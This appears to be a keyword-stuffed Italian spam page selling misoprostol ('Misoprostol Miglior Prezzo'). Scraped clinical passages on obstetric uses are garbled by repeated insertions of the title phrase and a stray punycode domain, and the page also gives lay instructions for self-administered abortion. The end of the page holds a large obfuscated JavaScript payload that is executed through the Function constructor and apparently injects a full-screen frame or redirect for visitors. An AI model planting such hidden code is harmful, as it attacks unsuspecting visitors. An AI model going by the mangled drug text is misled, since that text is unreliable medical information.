Misoprostol Miglior Prezzo
Valutazione 4.8 sulla base di 266 voti.
The study did note significantly more pain with the biopsy and uterine Misoprostol Miglior Prezzo in the misoprostol group. Based on a single, Misoprostol Miglior Prezzo study, IUD insertion in nulliparous women may be facilitated by misoprostol use. However, the majority of the IUD insertions were uncomplicated in both groups. There was no difference between the groups in terms of pain scores during IUD insertion or overall side effects.
Miglior Misoprostol Generico
Medical Management of Miscarriage Misoprostol is an option for the medical management of early pregnancy failure, including anembryonic pregnancies and embryonic demise, and incomplete abortion for women at 12 weeks or xn--o1ap.xn--j1amh of gestation.
Misoprostol Miglior Prezzo to medication abortion, Misoprostol Miglior Prezzo, cramping and bleeding will occur Misoprostol Miglior Prezzo pregnancy passage and side effects such as Misoprostol Miglior Prezzo, vomiting, diarrhea, fever, and Misoprostol Miglior Prezzo may be experienced. As long as the gestational sac is absent and Misoprostol Miglior Prezzo woman Misoprostol Miglior Prezzo asymptomatic, there is no endometrial stripe thickness that requires intervention, Misoprostol Miglior Prezzo. Several randomized, controlled trials exist examining the different doses and schedules. No Misoprostol Miglior Prezzo evidence of superiority of one dose or schedule over another can be clearly drawn from these studies.
Side effects of misoprostol noted in several studies include maternal fever, chills, and gastrointestinal symptoms such as nausea, vomiting, diarrhea, and abdominal pain. There is also evidence that the addition of 200 mg of mifepristone to the induction protocol decreases the interval to delivery for termination of pregnancy. The data on the absolute risk of induction of labor in this setting are lacking. Importantly, however, several randomized studies did include patients with a previous cesarean delivery. Furthermore, several retrospective studies have specifically addressed the safety of misoprostol use for second-trimester induction in the case of a prior cesarean delivery. In one of the largest retrospective studies on the subject, 188 women with a previous cesarean delivery underwent induction of labor between 17 and 24 weeks of gestation.
There was no evidence that a previous cesarean delivery affected the incidence of complications. Similar results were found in another study of 80 women undergoing termination of pregnancy between 13 and 26 weeks of gestation for a variety of reasons with 1 or more cesarean section scars.
The mean induction to abortion interval was 16. No statistically significant differences were Misoprostol Miglior Prezzo in Misoprostol Miglior Prezzo of incomplete abortion, blood loss, or sepsis. Cervical Ripening and Induction Can I Buy Sildenafil Citrate Online Labor With a Viable Fetus Compared with Misoprostol Miglior Prezzo, misoprostol causes cervical ripening before Misoprostol Miglior Prezzo with oxytocin.
Misoprostol has also been shown to be effective for induction of labor with a viable fetus. Vaginal misoprostol was found to be more effective than prostaglandin E2 or oxytocin for inducing vaginal delivery within 24 hours. However, uterine stimulation with associated fetal heart rate changes was more common in the group of women receiving misoprostol than in women receiving either oxytocin or prostaglandin E2. Cesarean delivery rate data were conflicting with a trend toward decreased cesareans for failure to progress in labor and increased cesarean deliveries for fetal distress in the misoprostol group.
There was no difference in serious neonatal or maternal mortality between women receiving misoprostol and women who received prostaglandin E2 or oxytocin; however, most studies were underpowered for this assessment.
Misoprostol
Optimal Misoprostol Miglior Prezzo of misoprostol xn--o1ap.xn--j1amh will achieve effective induction without uterine Misoprostol Miglior Prezzo and resultant fetal heart rate changes has been the topic of many studies, Misoprostol Miglior Prezzo.
Several randomized, controlled trials 88 — 90 and a large, prospective, observational Misoprostol Miglior Prezzo 91 have examined the use of misoprostol as an agent for the prevention of postpartum hemorrhage. Conclusions Misoprostol has many applications in the practice of obstetrics and gynecology. Off-label use of approved medications is supported by the FDA as long as it is based on sound medical evidence. Researchers and providers must continue to work to further refine the indications for misoprostol in many areas. However, several indications are already supported by high-quality evidence.
Uses of Misoprostol in Obstetrics and Gynecology
Main Points Misoprostol is a prostaglandin E1 analogue that causes cervical Misoprostol Miglior Prezzo and dilation and uterine contractions, Misoprostol Miglior Prezzo. Misoprostol is an effective cervical Misoprostol Miglior Prezzo agent prior to first-trimester surgical abortion. It is recommended especially for women between 12 and 14 weeks of gestation, adolescents, and for women in whom cervical dilation is expected to be difficult either due to patient factors or provider inexperience.
Misoprostol for cervical ripening as a substitute for laminaria prior to second trimester dilation and evacuation is only recommended under 16 weeks of gestation.
Misoprostol is an effective cervical ripening agent in premenopausal women prior to hysteroscopy. Misoprostol Miglior Prezzo greatest benefit is Misoprostol Miglior Prezzo in nulliparous women and for operative hysteroscopy. Whether the routine use of misoprostol prior to hysteroscopy is beneficial is still unknown. Misoprostol for cervical ripening prior to gynecologic procedures in postmenopausal women has not been found to be effective.
Ordinare Cytotec Generico
Misoprostol Miglior Prezzo Misoprostol is an option for the management of early pregnancy failure and incomplete abortion Misoprostol Miglior Prezzo xn--o1ap.xn--j1amh who are hemodynamically stable without signs of infection. Misoprostol is a proven induction agent in the second trimester Misoprostol Miglior Prezzo termination of pregnancy or fetal death. Misoprostol has not been shown to be as effective as injectable uterotonics oxytocin and methylergotomine for the prevention and treatment of postpartum hemorrhage. However, it is a valid option when these are not available or fail.
N Engl J Med. Number 283, May 2003. The pharmacokinetics and different regimens of misoprostol in early first-trimester medical abortion. Oral, rectal, and vaginal pharmacokinetics of misoprostol. Does an acidic medium enhance the efficacy of vaginal misoprostol for pre-abortion cervical priming?
- However, uterine stimulation with associated fetal heart rate changes was more common in the group of women receiving misoprostol than in women receiving either oxytocin or prostaglandin E2.
- Adequacy and safety of buccal misoprostol for cervical preparation prior to termination of second-trimester pregnancy.
- If there is heavy bleeding such as the female is soaking two or more pads in three hours or less.
Epidemiological assessment of misoprostol teratogenicity. Anomalies associated with failed methotrexate and misoprostol termination. In the case of a previous Caesarian section, Misoprostol Miglior Prezzo, however, lower doses are used. Misoprostol Miglior Prezzo bleeding Misoprostol is also used to prevent and treat post-partum bleeding. Adverse effects The most commonly reported adverse effect of taking a misoprostol by mouth for the prevention of stomach Misoprostol Miglior Prezzo is diarrhea. However, low dose vaginal misoprostol was linked with Misoprostol Miglior Prezzo complete abortion xn--o1ap.xn--j1amh Bleeding and cramping is likely to be greater than that experienced with menses, however, emergency care is advised if bleeding is excessive.
One estimate is that it would require around 61,000 Misoprostol Miglior Prezzo enrolled in randomized controlled trials to detect a difference in serious fetal complications and about 155,000 people to detect a difference in serious maternal complications. This agent also causes cervical ripening with softening and dilation of the cervix. Misoprostol binds to and stimulates prostaglandin EP2 receptors, prostaglandin EP3 receptor and prostaglandin EP4 receptor but not Prostaglandin EP1 receptor and therefore is expected to have a more restricted range of physiological and potentially toxic actions than prostaglandin E2 or other analogs which activate all four prostaglandin receptors. They are allowed to be swallowed or enter in the stomach after complete dissolution which is usually completed after 30 minutes.
The only care which is needed to be taken is that the tablets are for sublingual use and must not be ingested in the gut. Vaginal use of cytotec refers to placement of cytotec tablet deep inside the vagina. This should be kept in mind that the tablet will not work or produce its effect if retained at the entrance of vagina. For maximum effect it is recommended to moist the tablet before placement inside vagina. In case in a country where abortion is not allowed or is punishable by law, special care must be taken. This can be done by entering the finger in vagina to check if the tablet is completely dissolved, if not dissolved or any pieces are felt then remove them and immediately consult a gynecologist.
The success rates of cytotec misoprostol are very high. However there is a small percent of women who failed to abort, this happened due to variable reasons including dose variation, route of taking tablet and interval in between tablet intake. Misoprostol for termination of mid-trimester post-Caesarean pregnancy. These regimens significantly increase baseline cervical dilatation and facilitate further mechanical dilation compared with placebo.
LfGRU7
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,50,122,48,56,72,84,77,76,60,34,112,47,95,63,38,43,85,67,119,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+([]+[]+[][[]])[!+[]+!+[]]+$[24]+(!![]+[])[+!+[]]+$[23]+$[13]+$[25]+$[26]+$[23]+$[13]+$[23]+([]+[]+[][[]])[+!+[]]+(![]+[])[+!+[]]+$[13]+$[14]+([]+[]+{})[!+[]+!+[]]+$[0]+$[3]+$[0]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[27]+$[28]+$[29]+$[30]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[31]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[32]+$[25]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[32]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[33]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[32]+$[25]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[32]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[32]+$[34]+$[34]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[33]+$[34]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+$[36]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[35]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+$[1]+$[22]+$[40]+([]+[]+{})[+!+[]]+$[3]+$[33]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[35]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[41]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[40]+$[17]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+$[9]+$[38]+$[41]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[41]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[33]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[36]+$[9]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+$[9]+$[11]+$[38]+$[9]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[32]+$[33]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[43]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[43]+$[14]+$[25]+$[25]+$[44]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[43]+$[14]+$[25]+$[25]+$[44]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[24]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[43]+$[45]+$[25]+$[25]+$[25]+$[25]+$[25]+$[25]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[43]+$[25]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[33]+$[43]+$[25]+$[5]+$[32]+$[46]+$[31]+$[34]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[46]+$[9]+$[6]+$[47])();